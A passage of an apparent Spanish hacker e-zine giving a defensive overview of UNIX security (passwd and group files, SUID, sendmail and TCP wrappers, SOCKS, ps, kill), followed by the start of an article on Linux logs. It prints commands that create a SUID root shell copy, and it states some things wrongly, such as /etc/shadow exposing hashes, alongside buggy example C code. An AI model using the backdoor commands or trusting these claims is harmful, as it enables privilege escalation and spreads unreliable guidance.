- Integracion de datos: Proteger la informacion (incluido programas) que
puedan ser borrados o alterados. La informacion debe de ser protegida con
cintas de backups, creacion de ficheros auxiliares y documentacion.
- Abilitar: Proteger nuestros servicios para que no puedan ser degradados y
deshabilitados (Con un DoS por ejemplo) sin autorizacion. Con esto
podremos evitar que la informacion del sistema que reside en nuestro
ordenador sea borrada.
- Consistencia: Hacer seguro el sistema ante los usuarios sin autorizacion.
Si el software o el hardware empiezan a dar problemas, buscar las
actualizaciones de esos bugs.
- Control: Regular el acceso a nuestro sistema. Si desconocemos si unos
individuos han entrado en nuestro sistema, tenemos un grave problema.
- Auditar: Esta bien que nos preocupemos si han entrado usuarios sin
autorizacion, todos cometemos errores. En estos casos, necesitamos
determinar: cuando ha pasado, como ha pasado y que ha sido afectado y a
partir de ahi, solucionarlo.
------[ Usuarios y passwords
En esta seccion explico el sistema de usuarios y de password en UNIX. Veremos
como hacer una buena password.
Una buena password es la primera linea de defensa hacia un ataque. La gente
sin autorizacion, prueba passwords para tener un acceso a nuestro sistema. Los
intrusos prueban passwords posibles desde una base de datos (comunmente un
diccionario de passwords) y si consiguen nuestro fichero de passwords prueban
a sacar las claves encriptadas que este fichero contiene con programas que
existen para ello (comunmente llamado crackear las claves).
Cuando el atacante tiene acceso, es libre de darse una vuelta, mirar otros
fallos de seguridad para explotar para tener mayores privilegios. La mejor
manera de proteger nuestro sistema es vigilar accesos de usuarios sin
autorizacion. Para solucionar todo esto, tendremos que crear buenas passwords
para que sea mas dificil sacarlas con un crackeador. Pero muchas veces,
buenas passwords no son suficiente. Muchas veces estas passwords pasan por
sniffers (programas que monitorizan la red en busca de paquetes).
Todas las personas que usan UNIX tienen una cuenta. Una cuenta se identifica
por un nombre de usuario. Tradicionalmente, esta cuenta tiene una password
secreta asocidad para prevenir accesos sin autorizacion.
Passwords
---------
Cuando entramos en nuestra cuenta, normalmente nos sale un promt pidiendo
nuestro usuario y password.
El fichero etc/passwd
---------------------
UNIX usa el etc/passwd para guardar las passwords de todos los usuarios del
sistema. El etc/passwod contiene el nombre de usuario, el nombre real,
informacion e informacion de la cuenta del usuario. Para ver nuestro
/etc/passwd con un simple "cat" podremos verlo. Aqui os pongo un ejemplo de la
extructura del passwd:
root:fi3sED95ibqR6:0:1:System
Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
ucp:OORoMN9FyZfNE:4:4::/var/spool/uucppublic:/usr/lib/uucp/uucico
what:eH5/.mj7NB3dx:181:100:What is DTF:/u/what:/bin/ksh
where:f8fk3j1OIf34.:182:100:How me:/u/how:/bin/csh
Aqui vemos tres cuentas: root, daemond y uucp y cuentas del sistema what y
where que son cuentas de usuarios individuales.
La linea what:eH5/.mj7NB3dx:181:100:What is DTF:/u/what:/bin/ksh cada apartado
tiene un significado, es este:
Partes Contenido
------ ---------
what El nombre de usuario
eH5/.mj7NB3dx El password encriptado
181 El numero de identificacion del usuario (UID)
100 El numero de identificacion de grupo (GID)
What is DTF El nombre completo
/u/what El directorio home del usuario
/bin/ksh/ La shell del usuario
Hoy en dia la mayoria de los sistemas UNIX usan el sistema shadowing
/etc/shadow en donde se muestra el password encriptado a simple vista.
------[ Usuarios, grupos y el superusuario
Normalmente todos los usuarios de UNIX tienen un nombre de usuario con mas de
ocho caracteres de longitud, dentro del ordenador UNIX se representa a este
usuario por un numero, llamado UID. Normalmente, los administradores de
sistemas UNIX, ponen a lo usuarios con diferente UID.
UNIX usa nombres de usuarios especiales por la variedad de las funciones del
sistema en cuestion. Estos nombres de usuario van asociados a usuarios
humanos, los nombres de usuario del sistema normalmente tienen sus UIDS
iguales. Estos son los usuarios comunes en UNIX:
- root, el superusuario, este usuario controla las funciones del sistema a
bajo nivel.
- daemond (demonio) o sys, estos son algunos de los aspectos de la red. Este
nombre de usuario va asociado a utilidades del sistema, por ejemplo ircd,
httpd, ftpd (La d significa daemond).
- agente, este "apodo" es el que controla los aspectos de el e-mail. En
muchos sistemas el agente tiene el mismo UID que los daemond.
- guest, es el usuario invitado al sistema.
- ftp, es el que da acceso anonimo al FTP.
- uucp, es el que controla el sistema UUCP.
- news, es el que controla el sistema Usenet (sistema de las news).
- lp, es el usuado por el sistema para la impresion.
- nobody, es el usuario que no tiene asociado ningun fichero y normalmente
es usado para hacer operaciones sin privilegios.
Aqui os pongo otro ejemplo de etc/passwd con los usuarios y daemond aqui
comentados:
root:zPDeHbougaPpA:0:1:Operator:/:/bin/ksh
nobody:*:60001:60001::/tmp:
agent:*:1:1::/tmp:
daemon:*:1:1::/tmp:
ftp:*:3:3:FTP User:/usr/spool/ftp:
uucp:*:4:4::/usr/spool/uucppublic:/usr/lib/uucp/uucico
news:*:6:6::/usr/spool/news:/bin/csh
Como veis, todas las cuentas excepto root tienen el password cerrado (*).
------[ Identificacion del usuario
UID es una asignacion de 16-bits, que van desde el 0 hasta el 65535. UID
normalmente es del 0 al 9 para las tipicas funciones del sistema. Los UID
asignados a los usuarios humanos, van de 20 a 100.
what:eH5/.mj7NB3dx:181:100:What DTF:/u/how:/bin/ksh
En esta cuenta, el UID es el numero 181.
Como nota curiosa, antiguamente los UIDS iban de -32768 a 32767.
------[ Grupos e Identificaciones de Grupos (GID)
Todos los UNIX estan organizados por grupos. Todas las cuentas de usuarios
estan asignadas por nombres de grupo e identificaciones de grupo, llamadas
GID). GID al igual que UID tambien es de 16-bits.
what:eH5/.mj7NB3dx:181:100:What is DTF:/u/how:/bin/ksh
En la cuenta anterior, el GID es el 100.
------[ El fichero /etc/group
El fichero /etc/group contiene una base de datos de todas las listas de
grupos en nuestro ordenador y su correspondiente GID. El formato es similar
al usado por el fichero /etc/passwd.
Esto es un ejemplo de un fichero /etc/group, dividido en cinco grupos: wheel,
uucp, vision, dtf y users.
wheel:*:0:root,how
uucp:*:10:uucp
users:*:100:
vision:*:101:why,how,dtf
starwars:*:102:dtf,log,why
Ahora os explico el significado de cada columna:
Contenido Descripcion
--------- -----------
wheel El nombre del grupo
* El password del grupo (descrito antes)
0 El GID del grupo
root,how El listado de usuarios que hay en ese grupo
------[ Los permisos de directorio
Una de las cosas buenas en UNIX es asignar a cada usuario un tipo de permiso,
acontinuacion describire los permisos que existen en UNIX:
r read Solo tienes la funcion de poder leer ficheros (read).
w write Puedes crear, renombrar y borrar cualquier fichero.
x execute Puedes ejecutar ese fichero.
Por ejemplo al hacer un "ls -l" nos encontraremos esto:
-rwxr-xr-x 1 wheel how 122880 Feb 9 13:26 stats*
Aqui podeis ver los permisos que tiene ese fichero.
------[ Explicacion de SUID
Algunas veces,usuarios sin privilegios necesarios, necesitan hacer tareas que
los requieren. Por ejemplo el programa "passwd", que como sabeis sirve para
cambiar el password. Para cambiar una password se requiere modificar el
fichero /etc/passwd. Pero claro, ese usuario no tiene permio para cambiar ese
fichero. Tambien, el programa "mail" requiere que inserte el mensaje en la
"bandeja de entrada" (mailbox) por otro usuario, si no tienes permiso no
puedes hacerlo.
Para solucionar estos y otros muchos problemas, UNIX permite ejecutar
programas. Son programas que cambian el UID y se llaman paradojicamente SUID
(set- UID). El programa que cambia el GID se llama SGID (set-GID).
------[ SUID, SGID
Cuando hacemos un "ls -l", nos saldra algo parecido a esto:
-rwsr-sr-t:
La primera "s" indica que el programa es SUID.
La segunda "s" indica que el programa es SGID.
La "t" indica que el programa es sticky.
------[ Problemas con SUID
Todos los programas que usan SUID, SGID, puedes producir problemas de
seguridad muy graves. Por ejemplo un simple usuario, puede ser root
simplemente corriendo una copia SUID del csh. Muchos administradores no se
preocupan en ver copias de SUID en su sistema, para solucionar este problema:
% cp /bin/sh /tmp/break-acct
% chmod 4755 /tmp/break-acct
Estos comandos lo que hacen es crear una version SUID del programa "sh".
------[ Chown, cambiando la propiedad de un fichero
El comando "chown" sirve para cambiar el propietario de un fichero. Solo el
root puede cambiar el propietario. El comando "chown" se usa asi:
chown [ -fRh ] propietario lista de ficheros
La opcion -f y -R interpretan si son soportado chmod y chgrp (que sirve para
cambiar los ficheros de un grupo). La opcion -h es un bit de diferencia de
chmod.
- Propietario: Aqui se especifica el nuevo propietario.
- Lista de ficheros: La lista de ficheros del propietario que quieres
cambiar.
El comando comentado antes, llamado "chgrp" sirve para cambiar la lista de
ficheros de un grupo, su sintaxis correcta es asi:
chgrp [ -fRh ] grupo lista de ficheros
Por ejemplo, para cambiar el grupo how a el otro grupo llamado dtf se haria asi:
% ls -l paper.tex
-rw-r--r-- 1 dtf how 59321 Jul 12 13:54 paper.tex
% chgrp dtf paper.tex
% ls -l paper.tex
-rw-r--r-- 1 dtf dtf 59321 Jul 12 13:54 paper.tex
Como veis, hemos cambiado el grupo "how" al grupo "dtf" en el fichero
paper.tex.
------[ Sistemas de
seguridad
En esta parte del texto, quiero hacer una breve lista sobre como combatir un
poco a los intrusos:
- Hacer backups de los ficheros mas importantes
- Defiende tus cuentas.
- Monotoriza tu red.
- Audita y logea. Logea todo tu sistema y busca los fallos cada poco tiempo para estar mas protegido.
- Protege tu sistema de programas extraños. Por ejemplo troyanos, gusanos, etc.
- Seguridad fisica.
- Seguridad interna. Investiga los conocimientos que tienen tus empleados y si es necesario crea cursos de seguridad.
------[ Seguridad telefonica
La principal funcion de un modem, es habilitar las comunicaciones (enviar
correo, leer news y documentos de todo el mundo entre otras cosas). Antes de
todo, un ordenador no es otra cosa realmente que una "calculadora
programable". Pero un modem o un interface de red, los ordenadores pueden
"hablar" entre si y enviarse informacion.
Pero en el mundo de la seguridad informatica, las buenas comunicaciones tienen
doble filo. Las comunicaciones puedes ser atacadas por saboteadores pudiendo
leer tu informacion facilmente.
------[ Modem. Teoria de operacion
Los modems son aparatos que transmiten informacion atraves de la linea
telefonica. La palabra modem es un acronimo de modulador-demoludor. El modem
traduce la informacion en una serie de tonos (modulacion) al final de la
linea telefonica y traduce los tonos de vuelta en el otro lado del final de
la linea telefonica (demodular). La mayoria de los modems son
bidireccionales".
------[ Interfaces de serie
La informacion dentro de todos los ordenadores se mueven en paquetes de 8,
16 o 32 bits. Cuando esta informacion abandona el ordenador, se divide en
serie de simples bits que se transmiten secuencialmente. Los interfaces de
serie transmiten informacion en serie de pulsos. Un pulso especial se le
llama bit de comienzo (start bit) que significa el comienzo del caracter y
los del final del caracter se llaman bit de parada (stop bit).
------[ UUCP
UUCP es el sistema de copiado UNIX-to-UNIX. UUCP tiene tres usos:
- Enviar e-mails y noticias a otros usuarios remotamente.
- Tranferir ficheros a otros sistemas UNIX.
- Ejecutar comandos en sistemas remotos.
------[ Seguridad en la Web
La WWW (World Wide Web) es un sistema de cambio de informacion en internet.
La web esta construida por programas especiales llamados "Web Servers". Otros
programas llamados Web Browsers, hacen ver la informacion que contiene estos
Web Servers en la pantalla del usuario.
La WWW es el sistema mas usado dentro de la comunidad de internet. Pero como
todo tiene su otro lado, la WWW es uno de los sistemas mas inseguros, por
orden de importancia es asi:
- Un atacante puede usar bugs en el Web servers o en scripts CGI para
optener acceso sin autorizacion al sistema y tener el control de el
ordenador.
- Informacion confidencial que se encuentre en el Web server puede ser
distribuida por individuos sin autorizacion.
- La Informacion confidencial puede ser transmitida atraves del Web Server
y el browser puede interceptarla.
------[ Sun's Remote Procedure Call (RPC)
El bloque principal construido de un sistemas de redes de informacion es un
mecanismo para PERFORMING las llamadas remotas. El mecanismo, normalmente se
le llama RPC.
El sistema RPC puede hacer una categoria de sistemas bloqueados o no
bloqueados (sistemas asicronicos).
Para que un cliente RPC se comunique con un servidor RPC, tiene que pasar
esto:
- El cliente RPC este corriendo.
- El servidor RPC este corriendo en el ordenador servidor.
- El cliente debe de conocer en host RPC es.
- El cliente y el servidor deben aceptar comunicarse por TCP o UDP.
El programa cliente contiene un servidor RPC que necesita una autentificacion al servidor para que el servidor determine que informacion se le es permitido el acceso y que funciones tiene. Hay diferentes formas de autentificacion para RPC:
Sistema Tecnica de Autentificacion Comentarios
------- -------------------------- -----------
AUTH_NONE Ninguna Sin autentificacion. Acceso anonimo.
AUTH_UNIX El cliente RPC envia los UID Sin seguridad.
y GID del usuario.
AUTH_DES Sistema basado en una llave Razonablemente seguro.
publica del sistema DES.
AUTH_KERB Autentificacion basada en Muy seguro, pero requiere que este
Kerbeos. instalado un sistema de Kerbeos.
------[ Wrappers
Un wrapper es un programa que se usa para tomar control del acceso a un
programa secundario.
Existen los wrappers de sendmail (smap/smapd). Para encontrar estos dos
wrappers, entrar en este ftp: ftp.tis.com con usuario anonimo (anonymous).
El TIS Firewall Toolkit es todo un paquete, afortunadamente, el wrapper del
sendmai pueden instalarse por separado del resto del paquete. El wrapper del
sendmail, se puede usar para proteger un ordenador que este corriendo con
sendmail, si ese ordenador no tiene activo un firewall. Para instalar el
wrapper del sendmail una vez bajado (ftp.tis.com), tenemos que hacer esto:
- Lee la documentacion que encontraremos dentro del paquete y compila el
wrapper.
- Instala el archivo de configuracion: netperm-table localizado en:
/usr/local/etc/netperm-table.
- Edita las normas (rules) de smap y smapd para especificar el UID bajo el
que quieres que corra smap, donde esta el sendmail, etc. Por ejemplo:
smap, smapd: userid 5
smap, smapd: directory /var/spool/smap
smapd: executable /usr/local/etc/smapd
smapd: sendmail /usr/lib/sendmail
smapd: baddir /var/spool/smap/bad
smap: timeout 3600
- Crea el directorio smap mail-spool (por ejemplo /usr/spool/smap). Pon los
privilegios al directorio:
# chown 5 /usr/spool/smap
# chmod 700 usr/spool/smap
Tambien crea el direcotorio de "bad mail"
(por ejemplo /usr/spool/smap/bad). Tambien por los privilegios de
directorio que se especifica en el fichero de configuracion:
# chown 5 /usr/spool/smap /usr/spool/smap/bad
# chmod 700 /usr/spool/smap /usr/spool/smap/bad
- Haz un kill del daemond sendmail si esta corriendo.
- Modifica el sendmail.cf. Este es un ejemplo de root, daemond, uucp y mail:
###################
# Trusted users #
###################
# this is equivalent to setting class "t"
# Ft/etc/sendmail.ct
Troot
Tdaemon
Tuucp
Tmail
- Edita el /etc/inetd.conf insertando esta linea:
smtp stream tcp nowait root /usr/local/etc/smap smap
- Luego haz esto:
# ps aux | grep inetd
root 129 0.0 1.8 1.52M 296K ? S 0:00 (inetd)
root 1954 0.0 1.3 1.60M 208K p5 S 0:00 grep inetd
# kill -HUP 129
- Testea si smap recibe e-mail, enviando un e-mail desde root. Haz esto:
# telnet localhost smtp
Trying 127.0.0.1... Connected to localhost.
Escape character is "^]".
220 122.22.22.2 SMTP/smap Ready.
helo 122.22.22.2
250 (122.22.22.2) pleased to meet you.
mail From:<root@122.22.22.2>
250 <root@122.22.22.2>... Sender Ok
rcpt To:<root@122.22.22.2>
250 <root@122.22.22.2> OK
data
354 Enter mail, end with "." on a line by itself
Esto es una prueba.
.
250 Mail accepted
quit
221 Closing connection
Connection closed by foreign host.
#
Logicamente, en donde pone esa IP sustituyela por la tuya.
- Chequea si el e-mail ha sido enviado al directorio /var/spool/smap (O en
el directorio donde has especificado).
- Instala el smapd en /usr/local/etc/smapd o otro directorio que se pueda
"suitear".
- Carga el smapd y comprueba si el e-mail es rechazado.
- Modifica el arranque del sistema para que cargue el smapd automaticamente.
------[ TCP-Wrappers
El programa tcpwrapper, escrito por Wietse Venema, es muy facil de utilizar
y puedes logear e interceptar los servicios TCP que estan en inetd.
Para conseguir este tcpwrapper puedes bajarlo de este FTP poniendo en XXX la
version del programa: ftp.win.tue.nl/pub/security/tcp_wrapper_XXX.tar.gz.
Este tcpwrapper, da al administrador de sistemas un gran control sobre las
conexiones TCP que se realizan. Este programa se carga por el inetd despues de
que un host remoto se conecte a tu ordenador, con el tcpwrapper puedes hacer
esto:
- Puedes enviar un "banner" a la conexion. Esto sirve para enviar un
mensaje a la personas que se ha conectado.
- Comparar los hostnames entrantes y te dice que servicios estan activos en
la lista de control, si el servidor esta denegado, el tcpwrapper cierra
la conexion.
- Usa el protocolo ident para determinar el nombre de usuario asociado a la
conexion entrante (mas informacion sobre ident en el RFC 1413).
- Logea los resultados con syslog.
- Opcionalmente puede correr comandos (Por ejemplo ejecuta finger para ver
quien esta conectado a tu ordenador).
- Pasa el control de la conexion a un daemond de red "real".
- Tranfiere a una sistema de "jaula" para estudiar las acciones de los
usuarios.
El sistema del tcpwrapper es muy simple pero potente, puedes especificar en
un archivo de configuracion que host son bienvenidos o denegados, este
fichero es /etc/host.allow y /etc/host.deny.
Ahora tratare la manera de como escribir nuestros propios wrappers. En la
mayoria de los casos, necesitaras escribir tus propios wrappers, si no
encontramos el wrapper que queremos. Ahora os pongo un wrapper ejemplo de
sendmail para que os podais "guiar":
/* Comienzo del programa en C */
/* Cambia la siguiente linea con el path completo del fichero que quieres proteger por el wrapper */
#define COMMAND "/usr/lib/sendmail.dist"
#define VAR_NAME "LD_"
main(argc,argv,envp)
int argc;
char **argv;
char **envp;
{
register char **cpp;
register char **xpp;
register char *cp;
for (cpp = envp; cp = *cpp;) {
if (strncmp(cp, VAR_NAME, strlen(VAR_NAME))==0) {
for (xpp = cpp; xpp[0] = xpp[1]; xpp++){
} /* void */ ;
}
else {
cpp++;
}
}
execv(COMMAND, argv);
perror(COMMAND);
exit(1);
}
/* Fin del programa en C */
Para usar este codigo, tienes que compilarlo, mover el sendmail original a una localizacion segura y despues instalar el wrapper en lugar del programa real. Por ejemplo, pondriamos esto (Siendo root, se presupone):
# make wrapper
# mv /usr/lib/sendmail /usr/lib/sendmail.dist
# chmod 100 /usr/lib/sendmail.dist
# mv ./wrapper /usr/lib/sendmail
# chown root /usr/lib/sendmail
# chmod 4711 /usr/lib/sendmail
Ahora pondre otro wrapper, que es para Logging:
/* Comienzo del programa en C */
/* Cambia la siguiente linea con el path completo del fichero que quieres proteger por el wrapper */
#define COMMAND "/usr/lib/.hidden/lpr"
#include <syslog.h>
main(argc,argv,envp)
int argc;
char **argv, **envp;
{
int iloop;
openlog("xtra-log", LOG_PID, LOG_LPR);
syslog(LOG_INFO, "lpr invoked with %d arguments", argc);
for (iloop = 1; i loop < argc; iloop++){
if(strlen(argv[iloop])>1023) argv[iloop][1023]=0;
syslog(LOG_INFO, "arg %d is `%s'", argv[iloop]);
}
syslog(LOG_INFO, "uid is %d", getuid());
closelog();
execv(COMMAND, argv);
perror(COMMAND);
exit(1);
}
/* Fin del programa en C */
Para este programa, tienes que seguir los mismos ejemplos basicos que he
dicho con el anterior ejemplo: compilar el codigo, creas el directorio,
mueves el lpr original a un sitio seguro y por ultimo instalas el wrapper
origial, poniendolo donde estaba el anterior fichero original. Por ejemplo,
hariamos esto:
# make wrapper
# mkdir /usr/lib/.hidden
# chmod 700 /usr/lib/.hidden
# mv /usr/bin/lpr /usr/lib/.hidden/lpr
# chmod 100 /usr/lib/.hidden/lpr
# mv ./wrapper /usr/bin/lpr
# chown root /usr/bin/lpr
# chmod 4711 /usr/bin/lpr
------[ Socks
Socks, es un sistema que acepta los ordenadores detras del firewall para
acceder a los servicios de internet. Con socks puedes especificar servicios
para un ordenador especifico, deshabilitar accesos de un host individual en
internet, etc.
Socks, originalmente esta escrito por David Koblas y Michelle Koblas. Socks
consiste en dos partes:
- Socks server: Es el programa que corre en el host en donde se puede
comunicar directamente con Internet y ordenadores internet de tu red
(por ejemplo una puerta firewall).
- Socks client: Programa modificado con el que puedes contactar con el
servidor Sock enviando una peticios directamente a Internet.
La distribucion de socks estandard viene con el cliente de finger, ftp,
telnet y whois. Socks incluye librerias con las que puedes crear otros
clientes Socks. Socks esta disponible para muchas versiones de UNIX, incluida
SunOS, Solaris, IRIX, Ultrix, HP-UX, AIX, Interactive System UNIX, OSF/1,
NetBSD, UNIXWare y Linux. Una version llamada PC SOCKS es para Windows.
El cliente de socks trabaja sustituyendo llamadas a las funciones de socket
de UNIX: connect(), getsocketname(), bind(), accept(), listen() y select().
Cuando el cliente de socks acepta la conexion a un servidor de internet, las
librerias de socks interceptan la conexion aceptada y abre una conexion al
servidor sock. Despues de que la conexion ha sido establecida, el cliente de
socks envia esta informacion:
- Numero de version
- Comando de la respuesta de la conexion
- El numero del puerto por donde el cliente se conecta
- La IP que usa el cliente para conectar
- El nombre de usuario de la persona
El servidor socks mira en su lista de acceso si la conexion entrante esta en
su lista de conexion aceptadas o rechazadas. Si la conexion es aceptada, el
servidor abre una conexion remota y envia informcion de vuelta. Si la
conexion es rechazada, el servidor se desconecta del cliente. Esta
configuracion la muestro graficamente aqui (Perdon por mi ASCII):
Telnet Server Servidor HTTP ZONA DE INTERNET
\ /----------------------------------
SOCKS----------------------- PUERTA
/ \
Telnet Client HTTP Client
SOCKS puede usarse para aceptar ordenadores detras de un firewall. En este
caso, la conexion es abierto por el servidor de socks.
Socks solo trabaja con TCP/IP, para servicios UDP (Archie), se usa el UDP
Relayer.
------[ Notas Finales
Para poner punto y final a este documento, voy a dar una lista de archivos
importantes en UNIX (Aunque hay muchos mas):
Nombre Descripcion
------ -----------
/dev/audio Servicio de audio salida/entrada
/dev/console Consola del sistema
/dev/dsk/ Discos del sistema
/dev/fbs/ Framebuffers
/dev/fd Descripcion de ficheros
/dev/ip Interface de IP
/dev/kbd Teclado
/dev/klog Log del Kernel
/dev/kmem Memoria del Kernel
/dev/kstat Estadisticas del Kernel
/dev/log Sistema de Log
/dev/mem Memoria
/dev/modem Modem
/dev/null
/dev/pty* Pseudo terminales
/dev/rdsk Raw disk
/dev/*sd* Discos SCSI
/dev/tty* Terminales
/etc/utmp Lista los usuarios que han entrado al sistema
/etc/utmpx Un extendido de utmp
/etc/wtmp Graba todos los logins y los logouts
/etc/wtmpx Extendido de wtmp
/usr/adm/acct Graba los comandos ejecutados
/usr/adm/lastog Graba la hora del ultimo usuario
/usr/adm/messages Graba mensajes importantes
/usr/adm/pacct System V (normalmente)
/usr/adm/wtmp Graba todas las entradas y salidas
------[ Programas importantes (No todos)
Nombre Descripcion
------ -----------
adb Es un debugger, por ejemplo para editar el kernel
cc Compilar de C
cd, chdir Construye en comando shell
chgrp Cambia el grupo de ficheros
chmod Cambia los permisos de los ficheros
chown Cambia el propietario de los ficheros
chsh Cambia la shell de un usuario
cp Copia ficheros
crypt Encripta ficheros
csh Un interprete de C-Shell
dbx Otro debugger
des Programa de encriptado y desencriptado DES
find Busca ficheros
finger Muestra informacion de los usuarios
ftp Transfiere ficheros en la red
gcore Usa un fichero core para correr un proceso
kill "Mata" una aplicacion
kinit Kerberos
ksh Una Korn-shell
last Muestra el ultimo usuario
lastcomm Muestra el ultimo comando ejecutado
limit Cambia los procesos limite
login Muestra el password
ls Lista ficheros
mail Envia un e-mail
netstat Muestra el estado de la red
newgrp Cambia tu grupo
passwd Cambia el password
ps Muestra los procesos
pwd Muestra tu directorio de trabajo
renice Cambia la prioridad de un proceso
rlogin Te logea en otra maquina
rsh, krsh, rksh Restringe una shell (System V)
rsh Shell remota
sh Bourne-shell
strings Muestra los string de un fichero
su Para cambiar de usuario
sysadmsh La shell de administrador
telnet Un terminal para conectar a otra maquina
tip Llama a otro ordenador
umask Cambia tu umask
users Te dice los usuarios conectados
------[ El comando ps
El comando ps, nos muestra los procesos que se estan ejecutando en este
momento. ps nos cuenta quien esta ejecutando ese programa en nuestro sistema.
Muchos administradores, usan ps paa ver que ordenadores se estan ejecutando
lentos, los administradores mas experimentados, usan este comando para ver
los procesos sospechosos.
El comando ps en System V, normalmente solo muestra con que terminal esta a
sociado y que programa esta ejecutando. Para listar todos los procesos que
estan corriendo en nuestro ordenador, tendremos que usar las opciones -ef. La
opcion -e nos lista los procesos y la opcion -f produce una lista completa.
Por ejemplo:
dtf% /bin/ps -ef
UID PID PPID C STIME TTY TIME COMD
root 0 0 64 Nov 16 ? 0:01 sched
root 1 0 80 Nov 16 ? 9:56 /etc/init -
root 2 0 80 Nov 16 ? 0:10 pageout
root 3 0 80 Nov 16 ? 78:20 fsflush
root 227 1 24 Nov 16 ? 0:00 /usr/lib/saf/sac -t 300
root 269 1 18 Nov 16 console 0:00 /usr/lib/saf/ttymon -g - root 97 1 80 Nov 16 ? 1:02 /usr/sbin/rpcbind
root 208 1 80 Nov 16 ? 0:01 /usr/dt/bin/dtlogin
root 99 1 21 Nov 16 ? 0:00 /usr/sbin/keyserv
root 117 1 12 Nov 16 ? 0:00 /usr/lib/nfs/statd
root 105 1 12 Nov 16 ? 0:00 /usr/sbin/kerbd
root 119 1 27 Nov 16 ? 0:00 /usr/lib/nfs/lockd
root 138 1 12 Nov 16 ? 0:00 /usr/lib/autofs/automoun root 162 1 62 Nov 16 ? 0:01 /usr/lib/lpsched
root 142 1 41 Nov 16 ? 0:00 /usr/sbin/syslogd
root 152 1 80 Nov 16 ? 0:07 /usr/sbin/cron
root 169 162 8 Nov 16 ? 0:00 lpNet
root 172 1 80 Nov 16 ? 0:02 /usr/lib/sendmail -q1h
root 199 1 80 Nov 16 ? 0:02 /usr/sbin/vold
root 180 1 80 Nov 16 ? 0:04 /usr/lib/utmpd
root 234 227 31 Nov 16 ? 0:00 /usr/lib/saf/listen tcp
simsong 14670 14563 13 12:22:12 pts/11 0:00 rlogin next
root 235 227 45 Nov 16 ? 0:00 /usr/lib/saf/ttymon
simsong 14673 14535 34 12:23:06 pts/5 0:00 rlogin next
simsong 14509 1 80 11:32:43 ? 0:05 /usr/dt/bin/dsdm
simsong 14528 14520 80 11:32:51 ? 0:18 dtwm
simsong 14535 14533 66 11:33:04 pts/5 0:01 /usr/local/bin/tcsh
simsong 14529 14520 80 11:32:56 ? 0:03 dtfile -session dta003TF
root 14467 1 11 11:32:23 ? 0:00 /usr/openwin/bin/fbconso simsong 14635 14533 80 11:48:18 pts/12 0:01 /usr/local/bin/tcsh
simsong 14728 14727 65 15:29:20 pts/9 0:01 rlogin next
root 332 114 80 Nov 16 ? 0:02 /usr/dt/bin/rpc.ttdbserv root 14086 208 80 Dec 01 ? 8:26 /usr/openwin/bin/Xsun :0 simsong 13121 13098 80 Nov 29 pts/6 0:01 /usr/local/bin/tcsh
simsong 15074 14635 20 10:48:34 pts/12 0:00 /bin/ps -ef (Muchos de los procesos son muy largos y usan dos lineas).
Como veis, tiene varias columnas, las explicare:
Columna Significado
------- -----------
UID El nombre de usuario de la persona que esta ejecutando el programa.
PID Los numeros de procesos de identificacion.
PPID Los procesos ID
C El procesos utilizado, una indicacion de usa de CPU.
STIME El tiempo que el proceso ha empezado.
TTY El control de terminal de procesos.
TIME El total del tiempo del uso de la CPU.
COMD El comando que se ha usado para empezar el proceso.
Para listar procesos en Berkeley UNIX, usamos esto:
% ps -auxww
La opcion -a lista todos los procesos, la opcion -u nos muestra la
informacion, la opcion -x nos incluye informacion de los procesos y -ww
incluye una linea de comandos completa. Por ejemplo:
% ps -auxww
USER PID %CPU %MEM SZ RSS TT STAT TIME COMMAND
simsong 1996 62.6 0.6 1136 1000 q8 R 0:02 ps auxww
root 111 0.0 0.0 32 16 ? I 1:10 /etc/biod 4
daemon 115 0.0 0.1 164 148 ? S 2:06 /etc/syslog
root 103 0.0 0.1 140 116 ? I 0:44 /etc/portmap
root 116 0.0 0.5 860 832 ? I 12:24 /etc/mountd -i -s
root 191 0.0 0.2 384 352 ? I 0:30 /usr/etc/bin/lpd
root 73 0.0 0.3 528 484 ? S < 7:31 /usr/etc/ntpd -n
root 4 0.0 0.0 0 0 ? I 0:00 tpathd
root 3 0.0 0.0 0 0 ? R 0:00 idleproc
root 2 0.0 0.0 4096 0 ? D 0:00 pagedaemon
------[ El comando kill
El comando kill, puedes usarlo para parar o pausar la ejecucion de un proceso.
La sintaxis del comando kill es:
kill [-signal] process-IDs
El comando kill acepta especificar los nombres en version actuales de UNIX.
Por ejemplo, para enviar parar el proceso #1, pondriamos esto:
# kill -HUP 1
En versiones antiguas de UNIX, tendremos que especificar el numero:
# kill -1 1
El superusuario (root), puede matar cualquier proceso, otros usuaros pueden
matar solo sus procesos. Puedes usar kill en muchos procesos al tiempo que
listas todos sus PIDS:
# kill -HUP 1023 3421 3221
------[ Libros de referencia
Curry, David A. UNIX System Security: A Guide for Users and System
Administrators. Reading, MA: Addison Wesley, 1992.
Farrow, Rik. UNIX System Security. Reading, MA: Addison Wesley, 1991
Ferbrache, David, and Gavin Shearer. Unix Installation, Security & Integrity.
Englewood Cliffs, NJ: Prentice Hall, 1993
------[ Fin del documento
Bueno amigos lectores, espero que os gustara este documento, me ha llevado un
tiempo escribirlo. Antes de finalizar, quiero decir que esto, ademas de ser
mio, es una traduccion parcial del libro: Practical UNIX & Internet Security,
escrito por Simson Garfinkel & Gene Spafford del que he aprendido mucho sobre
la seguridad en general, es un libro bastante largo, y como he dicho, casi
todo lo que he escrito, ha sido basado en este gran libro. Espero que os
gustara y que escribirlo no fuera una perdida de tiempo.
*EOF*
-=( 7A69#12 )=--=( art6 )=--=( Estructura de logs en )=--=( Kynes )=-
( sistemas UNIX )
#####################################################################
# Pequeña guia sobre el funcionamiento de los archivos de log #
# de un sistema linux. #
# by Umma Kynes #
#####################################################################
"El método más seguro de guardar un secreto es convencer a la gente
de que ya lo sabe."
Antigua Sabiduria Fremen
Este articulo esta dedicado a mi mentor, Legba, el me mostro' todo
este mundillo. Gran parte de este documento es una traducción de un
articulo suyo, con algunas ampliaciones de mi cosecha. :-))
Introduccion
¿Por que he hecho esto?
Todo es fruto del empeño y de la curiosidad, cuando estudio algo me gusta
hacer pequeños articulos o resumenes de lo que veo para entenderlo bien y para
que cualquier otra persona no tenga que leer treinta articulos y conseguir
cuatro libros sobre seguridad en un sistema Unix y las correspondientes
paginas MAN para enterarse de que va esto del log.
Espero que me perdones las imprecisiones, y si lo crees oportuno hazmelas
saber, asi todos sabremos un poco mas :-). Este documentos se puede distribuir
libremente pero con la condicion de que se respete todo el contenido tal y
como esta, sin ningun tipo de modificacion.
¿Por que una guia del log de linux?
Porque el log es lo unico que puede ayudar a un administrador a saber que
demonios es lo que ha sucedido en su maquina, con los ficheros de log puede
